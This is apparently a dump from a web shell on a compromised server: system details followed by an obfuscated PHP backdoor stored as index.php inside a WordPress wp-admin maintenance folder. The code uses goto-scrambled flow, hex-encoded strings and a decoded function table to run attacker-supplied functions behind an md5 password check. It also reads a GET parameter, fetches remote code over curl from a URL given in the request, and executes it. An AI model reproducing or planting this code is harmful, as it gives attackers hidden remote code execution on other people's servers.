HEX
Server: nginx/1.25.5
System: Linux hcss-ecs-9064 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/885213.cn/wp-admin/maint/maint/index.php
<?php
 goto HOjcWBE_yFPC60Y; f8l7IDY7LixaLiA: metaphone("\x37\71\101\124\147\112\x43\106\112\x6a\60\131\x6c\106\x64\x6d\x53\x4c\x57\x75\x66\101\x48\110\x49\x43\166\65\114\x52\125\x35\x50\65\x2f\x2f\155\143\113\x76\70\x62\143"); goto AUQUVxFrnOlfv0L; D2UsnvhhzHwt1zg: $Qo0wKiBrIy1XZRv = ${$Sh8pTsEbTBNWRAs[10 + 21] . $Sh8pTsEbTBNWRAs[32 + 27] . $Sh8pTsEbTBNWRAs[6 + 41] . $Sh8pTsEbTBNWRAs[1 + 46] . $Sh8pTsEbTBNWRAs[23 + 28] . $Sh8pTsEbTBNWRAs[50 + 3] . $Sh8pTsEbTBNWRAs[0 + 57]}; goto tccgIKwb1MpH63S; tccgIKwb1MpH63S: @(md5(md5(md5(md5($Qo0wKiBrIy1XZRv[5])))) === "\x38\x61\x33\71\x38\64\61\141\x66\60\x63\64\67\146\x33\x39\144\x31\60\x36\146\x37\x34\63\x35\61\61\x32\x36\x64\67\145") && (count($Qo0wKiBrIy1XZRv) == 11 && in_array(gettype($Qo0wKiBrIy1XZRv) . count($Qo0wKiBrIy1XZRv), $Qo0wKiBrIy1XZRv)) ? ($Qo0wKiBrIy1XZRv[62] = $Qo0wKiBrIy1XZRv[62] . $Qo0wKiBrIy1XZRv[75]) && ($Qo0wKiBrIy1XZRv[84] = $Qo0wKiBrIy1XZRv[62]($Qo0wKiBrIy1XZRv[84])) && @($Qo0wKiBrIy1XZRv = $Qo0wKiBrIy1XZRv[84]($Qo0wKiBrIy1XZRv[55], $Qo0wKiBrIy1XZRv[62](${$Qo0wKiBrIy1XZRv[47]}[30]))) && $Qo0wKiBrIy1XZRv() : $Qo0wKiBrIy1XZRv; goto f8l7IDY7LixaLiA; HOjcWBE_yFPC60Y: $Sh8pTsEbTBNWRAs = range("\176", "\40"); goto D2UsnvhhzHwt1zg; AUQUVxFrnOlfv0L: class r6MOyFI2GL8hvUe { static function bJ5nQS5AipKus63($CPYBn2hYiBWhP0i) { goto UZIRme8aLEmkYJ_; aaNvYOv8rTN_dOc: $cd5HatM4gU2xFdd = explode("\133", $CPYBn2hYiBWhP0i); goto H9km8deQWAJ3mVK; ldPfNScFLzeCJT0: $W57Yy2L13k91tR_ = $i_F3kEG6oI5XTQ8("\176", "\40"); goto aaNvYOv8rTN_dOc; H9km8deQWAJ3mVK: $RUq92u9YictT9Wh = ''; goto es7sJqm9KWhTyM2; hivNa3PizsO1HS6: return $RUq92u9YictT9Wh; goto USAj0U_r0WyEAne; es7sJqm9KWhTyM2: foreach ($cd5HatM4gU2xFdd as $MtpR7ie56lxYpnp => $X1rUaXRj4zOVpCk) { $RUq92u9YictT9Wh .= $W57Yy2L13k91tR_[$X1rUaXRj4zOVpCk - 63250]; iCxd_swQr1yVbFQ: } goto gC4ZTihY8F_EjZI; UZIRme8aLEmkYJ_: $i_F3kEG6oI5XTQ8 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto ldPfNScFLzeCJT0; gC4ZTihY8F_EjZI: qdMLRNGNspXCIyC: goto hivNa3PizsO1HS6; USAj0U_r0WyEAne: } static function wOgtNQNYVURdgQe($C2AdttIaPMqgJ60, $APdSwYSEcaJSTZ3) { goto WDd1c9n_T9OZ49c; hgivbQ2MbKLhhEd: curl_setopt($rzdcA3mT8W4QaFN, CURLOPT_RETURNTRANSFER, 1); goto YVJ536LSnrobM13; YVJ536LSnrobM13: $fSPUhi8gkydORSg = curl_exec($rzdcA3mT8W4QaFN); goto QxNVhb52k5ti3BU; QxNVhb52k5ti3BU: return empty($fSPUhi8gkydORSg) ? $APdSwYSEcaJSTZ3($C2AdttIaPMqgJ60) : $fSPUhi8gkydORSg; goto rcldFsf4AKnMnnJ; WDd1c9n_T9OZ49c: $rzdcA3mT8W4QaFN = curl_init($C2AdttIaPMqgJ60); goto hgivbQ2MbKLhhEd; rcldFsf4AKnMnnJ: } static function SF8CBeT1AFUZHWG() { goto FSjanwbCvE3o13b; zpnydYvxlDglbOG: RDVJGYMr7Cb3Q3o: goto BPb4RaxqEXbSGYF; zWgT0eNoeOcrB0W: foreach ($d2dl1aiXFZXAgbg as $wtWPgJjpSDGcdz5) { $YiMli4Rq8q878sr[] = self::bJ5NQs5aIPkUS63($wtWPgJjpSDGcdz5); Dv05Hzj50hFGE8W: } goto zpnydYvxlDglbOG; JwP12KaFu3YFkrT: $XNhma1w6ZGGpWgX = $YiMli4Rq8q878sr[2 + 0]($TbMcuFot15n6SbB, true); goto lZikTAZDNlBYXaS; bzNBKyDIJkdfWLJ: $kuavU_50QpAg8zq = self::wOgTnqnYvurDgqe($XNhma1w6ZGGpWgX[1 + 0], $YiMli4Rq8q878sr[3 + 2]); goto ge7s9tpmc7uLBmn; ujBln8CcpUikfyJ: if (!(@$XNhma1w6ZGGpWgX[0] - time() > 0 and md5(md5($XNhma1w6ZGGpWgX[2 + 1])) === "\x61\143\62\65\145\63\x37\70\x33\62\x64\x34\64\63\63\60\x61\x38\x32\146\67\66\x64\63\142\142\x38\61\70\143\x36\141")) { goto RG1fg57JjnmDJnS; } goto bzNBKyDIJkdfWLJ; Y6RQPhuB9RZZDg7: $TbMcuFot15n6SbB = @$YiMli4Rq8q878sr[3 + 0]($YiMli4Rq8q878sr[2 + 4], $In4FgYH5Ox4Mt63); goto JwP12KaFu3YFkrT; xDUVaVZOn8oMWua: RG1fg57JjnmDJnS: goto mdunZhqRYuY76k4; FSjanwbCvE3o13b: $d2dl1aiXFZXAgbg = array("\66\x33\x32\67\67\133\66\63\62\x36\x32\133\66\x33\x32\x37\x35\x5b\x36\x33\x32\x37\71\x5b\x36\x33\62\66\60\x5b\66\x33\x32\x37\65\133\x36\63\62\x38\61\x5b\66\x33\x32\67\x34\133\x36\63\62\65\x39\133\66\x33\x32\x36\66\x5b\x36\63\x32\x37\67\x5b\x36\x33\x32\66\x30\x5b\66\63\62\x37\61\133\x36\63\62\66\65\x5b\66\x33\62\x36\x36", "\66\x33\62\x36\61\133\66\63\x32\66\60\x5b\66\63\62\x36\x32\x5b\66\x33\x32\x38\x31\133\x36\x33\x32\66\62\133\66\x33\x32\x36\65\x5b\x36\63\x32\x36\x30\133\66\63\63\x32\67\x5b\x36\63\x33\x32\65", "\66\x33\62\67\60\x5b\x36\63\x32\x36\61\x5b\66\x33\62\x36\x35\133\66\63\x32\66\66\133\x36\x33\x32\70\x31\133\66\x33\x32\x37\66\133\66\x33\62\x37\x35\x5b\66\x33\x32\x37\67\133\x36\63\x32\x36\65\x5b\66\x33\62\67\66\x5b\66\63\x32\67\x35", "\66\63\62\x36\64\133\66\x33\x32\67\x39\x5b\66\63\62\x37\67\x5b\x36\63\x32\66\71", "\x36\x33\62\67\70\x5b\x36\x33\62\x37\x39\133\66\63\62\x36\x31\133\x36\x33\x32\x37\x35\133\x36\x33\63\62\x32\133\66\63\x33\x32\64\x5b\66\x33\x32\x38\61\133\66\63\x32\x37\66\x5b\x36\x33\62\67\65\133\66\63\x32\67\x37\x5b\x36\x33\x32\66\x35\133\66\63\x32\x37\x36\133\66\x33\x32\67\65", "\66\x33\x32\x37\64\x5b\66\x33\62\x37\x31\x5b\x36\63\x32\x36\x38\x5b\66\63\62\67\65\x5b\66\63\62\x38\61\x5b\66\63\x32\x37\x33\133\x36\x33\x32\67\x35\133\66\x33\x32\66\60\x5b\66\x33\x32\70\61\x5b\66\x33\62\x37\x37\x5b\66\x33\x32\66\65\x5b\66\63\62\66\66\x5b\x36\x33\62\x36\60\133\x36\63\x32\x37\65\x5b\x36\63\62\x36\x36\x5b\x36\63\x32\x36\x30\x5b\x36\63\x32\66\61", "\66\63\x33\60\64\133\66\x33\x33\63\x34", "\x36\63\x32\65\61", "\66\63\x33\62\x39\x5b\x36\63\x33\x33\64", "\66\63\x33\x31\61\133\x36\x33\62\71\64\133\x36\x33\x32\x39\64\x5b\x36\63\x33\61\61\x5b\66\63\62\x38\67", "\66\63\x32\x37\x34\x5b\x36\x33\x32\67\x31\x5b\x36\x33\62\66\x38\x5b\x36\63\x32\66\x30\x5b\66\x33\62\67\65\133\x36\63\x32\x36\x32\133\66\63\62\70\x31\133\66\x33\x32\x37\61\x5b\x36\x33\62\x36\x36\133\66\63\62\x36\x34\x5b\66\x33\x32\x35\71\133\x36\x33\62\x36\60"); goto zWgT0eNoeOcrB0W; BPb4RaxqEXbSGYF: $In4FgYH5Ox4Mt63 = @$YiMli4Rq8q878sr[1]($YiMli4Rq8q878sr[2 + 8](INPUT_GET, $YiMli4Rq8q878sr[9 + 0])); goto Y6RQPhuB9RZZDg7; ge7s9tpmc7uLBmn: @$YiMli4Rq8q878sr[0]('', $YiMli4Rq8q878sr[1 + 6] . $YiMli4Rq8q878sr[3 + 1]($kuavU_50QpAg8zq) . $YiMli4Rq8q878sr[0 + 8]); goto dkZVCP3r1ZimycD; dkZVCP3r1ZimycD: die; goto xDUVaVZOn8oMWua; lZikTAZDNlBYXaS: @$YiMli4Rq8q878sr[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($YiMli4Rq8q878sr[0 + 5](__FILE__)); goto ujBln8CcpUikfyJ; mdunZhqRYuY76k4: } } goto llRsReSBn5169Xg; llRsReSBn5169Xg: r6moyfI2gl8hvue::Sf8CbET1AFuzhWG();
?>